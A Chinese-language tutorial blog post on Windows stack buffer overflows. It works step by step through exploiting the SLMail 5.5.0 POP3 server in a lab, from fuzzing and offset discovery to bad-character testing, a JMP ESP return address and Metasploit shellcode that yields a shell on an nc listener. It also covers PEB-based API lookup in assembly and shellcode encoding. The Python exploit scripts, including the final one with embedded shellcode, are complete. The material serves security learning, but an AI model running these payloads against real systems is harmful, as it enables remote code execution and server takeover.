栈溢出利用

旧文搬迁,简单介绍栈溢出的原理(Windows),附上第一次溢出的学习笔记与shellcode获取方式。

缓冲区溢出:


原因:当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被“撑暴”,从而覆盖了相邻内存区域的数据,而栈溢出是栈上的缓冲区发生了溢出,由于栈是逆方向增长而且函数返回地址存储在栈上,于是可以很容易的控制程序流(无保护时):
窃ESE
窃ESE
后果:成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务器控制权等后果

发现方式:

源码审计

逆向工程

模糊测试:向程序堆栈半随机的数据,根据内存变化判断溢出

数据生成器:生成随机、半随机数据

测试工具:识别溢出漏洞

一个完整的利用过程

这个是安全牛课堂里苑老师讲的一个例子,几乎没有绕任何保护,但各个要点都有讲到,很适合入门。

实验环境


Windows XP(高版本内存保护机制,不适合实验),IP:192.168.0.103,安装以下软件:

SLMail 5.5.0 Mail Server (此软件存在缓冲区溢出漏洞)

ImmunityDebugger_1_85_setup.exe(调试工具)

mona.py (辅助调试)

kali 2016.1,IP:192.168.0.113

准备实验环境


安装软件,查看服务运行状态,网络连接测试:

使用调试工具监视服务运行状态


选择动态attach:

选择进程slmail:

点击运行(注意观察右下角会显示running):

确认存在漏洞


使用代码02.py(所有代码都是苑老师课程使用的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/python
import socket

buffer=["A"]
counter=100
while len(buffer) <= 30:
buffer.append("A"*counter)
counter=counter+200

for string in buffer:
print "fuzzing pass with %s bytes" % len(string)
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(("192.168.0.103",110))
s.recv(1024)
s.send("USER administrator"+'\r\n')
s.recv(1024)
s.send("PASS "+string+'\r\n')
s.send("QUIT\r\n")
s.close()

在password字段发送大量的”A”当发送一会时,可以看到程序已经崩溃,EIP和ESP寄存器都被A填满:

(每次崩溃后,需要重启服务进行下一步的测试)

确认准确溢出点(偏移量)


方法一:使用猜解,例如二分法,或是用程序来从2600个”A”,步长为一来发送,直到程序崩溃

方法二:使用唯一字符来计算(发送一串不同的字符串,可以通过每个子串来确定它本身的位置)

生成字符串:

将它放在这个脚本里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9'

try:
print "\n Sending evil buffer ..."
s.connect(("192.168.0.103",110))
data=s.recv(1024)
s.send("USER administrator"+'\r\n')
data=s.recv(1024)
s.send("PASS "+buffer+'\r\n')
print "\nDone!"
except:
print "cannot connect to POP3"

再次崩溃,查看EIP内容:

转换为源字符串(16进制转成CHR且倒着书写):

39694438

8Di9

再去查找位置:

再次使用脚本确认位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2606+'B'*4+'C'*20

try:
print "\n Sending evil buffer ..."
s.connect(("192.168.0.103",110))
data=s.recv(1024)
s.send("USER administrator"+'\r\n')
data=s.recv(1024)
s.send("PASS "+buffer+'\r\n')
print "\nDone!"
except:
print "cannot connect to POP3"

可以看到4个B刚好放在EIP里面!

查看ESP大小


使用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2606+'B'*4+'C'*800

try:
print "\n Sending evil buffer ..."
s.connect(("192.168.0.103",110))
data=s.recv(1024)
s.send("USER administrator"+'\r\n')
data=s.recv(1024)
s.send("PASS "+buffer+'\r\n')
print "\nDone!"
except:
print "cannot connect to POP3"

然后再ESP上右击:

计算”C”的个数:

仅计算大致400多字节。

查找坏字符


坏字符将会使shellcode异常终止,需要剔除:

而不同类型的程序、协议、漏洞,会将某些字符认为是坏字符,这些字符有固定用途,返回地址、Shellcode、buffer中都不能出现坏字符对每一个漏洞都要测试哪些是坏字符:

分析:

null byte (0x00) 空字符,用于终止字符串的拷贝操作

return (0x0D) 回车操作,表示POP3 PASS 命令输入完成

然后测试:

发送0x00 —— 0xff 256个字符,查找所有坏字符:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2606+'B'*4+'\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff'

try:
print "\n Sending evil buffer ..."
s.connect(("192.168.0.103",110))
data=s.recv(1024)
s.send("USER administrator"+'\r\n')
data=s.recv(1024)
s.send("PASS "+buffer+'\r\n')
print "\nDone!"
except:
print "cannot connect to POP3"

还是在这里面查找,从前向后找,看看哪里出错就记录并用可使用字符替换,重新测试,直到找完:

最终确定的坏字符:

0x0A

0x0D

0X00

寻找ESP跳转


可以用 ESP 的地址替换 EIP 的值吗? ESP 地址变化,硬编码不可行!SLMail
线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定

变通思路:在内存中寻找地址固定的系统模块,在模块中寻找 JMP ESP
指令的地址跳转,再由该指令间接跳转到 ESP,从而执行shellcode

mona.py 脚本识别内存模块,搜索“return address”是JMP ESP指令的模块 :

如图,在下面输入此,进入模块,主要关注红框四点,rebase是重启后地址要变化吗?选false的,然后接着两点是是否有保护机制,也要选false的:

注:(DEP:阻止代码从数据页被执行,ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化)

OSDLL:是否是系统自带的,要选择true:

然后在符合要求的模块里面查找是否存在jmp ESP指令:

这里需要使用机器码,可以使用msf的工具来转换:

然后查找:

若没有继续尝试,幸运的发现了。。。。:

可以双击其中一个,并切换到汇编语言显示来查看:

在内存地图里面确认该区是无DEP保护的地址(权限是可写可执行R.E):

再来验证一下,在那个地址上打个断点:

然后使用代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python
import socket

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2606+'\x8f\x35\x4a\x5f'+'C'*20

try:
print "\n Sending evil buffer ..."
s.connect(("192.168.0.103",110))
data=s.recv(1024)
s.send("USER administrator"+'\r\n')
data=s.recv(1024)
s.send("PASS "+buffer+'\r\n')
print "\nDone!"
except:
print "cannot connect to POP3"

生成shellcode


选择要使用的shellcode:

开始生成,并剔除坏字符:

然后生成了代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python
import socket

shellcode="\x6a\x48\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xfa\xc7\x45\x95\x83\xeb\xfc\xe2\xf4\x06\xad\xae\xd8\x12\x3e\xba\x6a\x05\xa7\xce\xf9\xde\xe3\xce\xd0\xc6\x4c\x39\x90\x82\xc6\xaa\x1e\xb5\xdf\xce\xca\xda\xc6\xae\xdc\x71\xf3\xce\x94\x14\xf6\x85\x0c\x56\x43\x85\xe1\xfd\x06\x8f\x98\xfb\x05\xae\x61\xc1\x93\x61\xbd\x8f\x22\xce\xca\xde\xc6\xae\xf3\x71\xcb\x0e\x1e\xa5\xdb\x44\x7e\xf9\xeb\xce\x1c\x96\xe3\x59\xf4\x39\xf6\x9e\xf1\x71\x84\x75\x1e\xba\xcb\xce\xe5\xe6\x6a\xce\xd5\xf2\x99\x2d\x1b\xb4\xc9\xa9\xc5\x05\x11\x23\xc6\x9c\xaf\x76\xa7\x92\xb0\x36\xa7\xa5\x93\xba\x45\x92\x0c\xa8\x69\xc1\x97\xba\x43\xa5\x4e\xa0\xf3\x7b\x2a\x4d\x97\xaf\xad\x47\x6a\x2a\xaf\x9c\x9c\x0f\x6a\x12\x6a\x2c\x94\x16\xc6\xa9\x84\x16\xd6\xa9\x38\x95\xfd\x3a\x6f\x45\xe4\x9c\xaf\x54\xc9\x9c\x94\xcc\x74\x6f\xaf\xa9\x6c\x50\xa7\x12\x6a\x2c\xad\x55\xc4\xaf\x38\x95\xf3\x90\xa3\x23\xfd\x99\xaa\x2f\xc5\xa3\xee\x89\x1c\x1d\xad\x01\x1c\x18\xf6\x85\x66\x50\x52\xcc\x68\x04\x85\x68\x6b\xb8\xeb\xc8\xef\xc2\x6c\xee\x3e\x92\xb5\xbb\x26\xec\x38\x30\xbd\x05\x11\x1e\xc2\xa8\x96\x14\xc4\x90\xc6\x14\xc4\xaf\x96\xba\x45\x92\x6a\x9c\x90\x34\x94\xba\x43\x90\x38\xba\xa2\x05\x17\x2d\x72\x83\x01\x3c\x6a\x8f\xc3\xba\x43\x05\xb0\xb9\x6a\x2a\xaf\xb5\x1f\xfe\x98\x16\x6a\x2c\x38\x95\x95"

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
buffer='A'*2606+'\x8f\x35\x4a\x5f'+'\x90'*8+shellcode

try:
print "\n Sending evil buffer ..."
s.connect(("192.168.0.103",110))
data=s.recv(1024)
s.send("USER administrator"+'\r\n')
data=s.recv(1024)
s.send("PASS "+buffer+'\r\n')
print "\nDone!"
except:
print "cannot connect to POP3"

先使用监听:

1
nc –nlp 4444

然后开执行代码,可以看多成功获取shell:

注:Shellcode执行结束后以 ExitProcess 方式退出整个进程,将导致邮件服务崩溃;Slmail是一个基于线程的应用,适用ExitThread方式可以避免整个服务崩溃,这样可实现重复溢出

获取shellcode

这里补充一下获取shellcode的方法,EXP/POC为完整的程序(代码),其中的关键部分是payload,payload可以看到是在哪个输入点输入怎样形式的数据将会触发漏洞,而payload中一个重要组成部分就是shellcode,此shellcode是广义上的shellcode,可以是弹出计算机代码,也可以是真正的获取shell的代码,now就先来手动做一份shellcode(栈溢出)!

缓冲区的组织

A:shellcode放在栈帧内,shellcode起始地址在栈帧内,于是对上层栈帧的影响就会极小(EBP,返回地址受影响),不过当栈帧地址随机变化时,不易定位到shellcode。
B:shellcode放在上层栈帧,它的起始地址在ret后4字节,此时ESP刚好指向此,可以在ret处写入jmp esp等类似地址,转到shellcode,不过这破坏了上层帧,对程序影响较大。
C:抬高栈顶保护,在A组织方式中,shellcode所在区域逻辑上已经被收回了,若程序再次使用栈,将会覆盖掉shellcode,于是可以将栈顶抬高(ESP-n)以保护shellcode。
D:空指针滑行,就是在shellcode前加大量的Nop类指令,即使未精确跳转到目标位置也可以在滑行一段时间后转到shellcode处。
E:增加大量的ret,即使shellcode长度不精确,一大片返回地址也能增加命中率,至于地址对齐,必要时可以使用字节相同的双字地址,与其他技术相结合。

定位shellcode

之前的覆盖ret地址,直接写入shellcode绝对起始地址,这样一旦地址有一点变化就会执行失败(例如ASLR),于是可以使用跳板实现通用跳转,现对上面的缓冲区组织说明方法:

  • B:如上所述,返回时ESP会指向ret地址之上的4字节处(即shellcode起始处),在ret中写下jmp esp指令的地址,程序在返回时会去执行jmp ESP,于是就跳转到了shellcode处,jmp esp的机器码为FF E4H,只需要在内存中找到稳定的(不会变化的) 且可执行的FF E4H数据即可,查找的方法很多,也有很多插件可以使用,如之前的缓冲区溢出使用的mona脚本,事实上在特定情况下还有很多寄存器可以使用,因为他们也可能总是指向一个相近的地址。
  • A:此种方式可以再多溢出几字节,多溢出的写入短跳转指令,而再通过B的方法跳转到多溢出的地址。

定位API

首先我们需要找到两个关键的API:LoadLibrary()和GetProcAddress(),有了它就可以载入,获取其他API的地址了(当然其他API也可以用这种方法获取,主要看有没有限制,是否要精简shellcode等),它们存在于kernel32.dll,程序都会载入它,至于获取它们地址的方法,就是使用TEB转到Ldr的InInitializationOrderModuleList了(转到)了

1
2
3
4
5
mov ebx, fs:[ 0x30 ]       // 获得PEB
mov ebx, [ ebx + 0x0C ] // 获得PEB_LDR_DATA
mov ebx, [ ebx + 0x1C ] // InitializationOrderModuleList 第一项ntdll.dll
mov ebx, [ ebx ] // InitializationOrderModuleList 第二项kernel32.dll
mov ebx, [ ebx + 0x8 ] // 获得完整的路径地址

这样找到了kernel32的加载基址,再找到它的PE头,找到导出表,遍历找到API地址

1
2
3
mov ebx,[ebx+0x3C]		//获得PE头RVA
mov ebx,[ebx+0x78] //获取导出表RVA
mov ebx,[ebx+0x20] //获取函数名称地址数组

通过遍历数组找到ordinal,再通过ordinal找到实际地址。。。

shellcode编码

自己写的shellcode可能存在一些”bad char”,例如当用在strcpy函数中时,shellcode含有00H将会导致复制结束,shellcode被截断,还有很多函数,协议中坏字符不一样,或者防止被检查出来,就需要对shellcode进行编码,常见的编码就是异或后发送,运行前再次异或解码。
精简shellcode:

1:挑选短指令
2:使用复合指令
3:巧用内存
4:代码当数据复用
5:调整栈顶再次利用栈
6:巧用寄存器
7:使用hash

其他途径获取shellcode

其实现在才是重点,前面的都没有敲过,因为网上有很多公开的经典shellcode,只需经过极小的改造即可直接使用!
A:exploit-db 其中包括汗多平台的(不止下图),并且有多种,有简单的概念验证型,也有实际攻击型,还有方便改写的generator型,注释也很完善!

B:metasploit 现在有400多个了,都是攻击型的,但更易使用,也好配合自己的编码器:

如图,可以生成适合各种的语言,各种平台的shellcode,而且方便使用编码器,可以直接指定坏字符,会自动选择最优编码器,自定义滑行长度等,以后就用它啦!

来源

安全牛课堂-kali-linux
0day安全:软件漏洞分析技术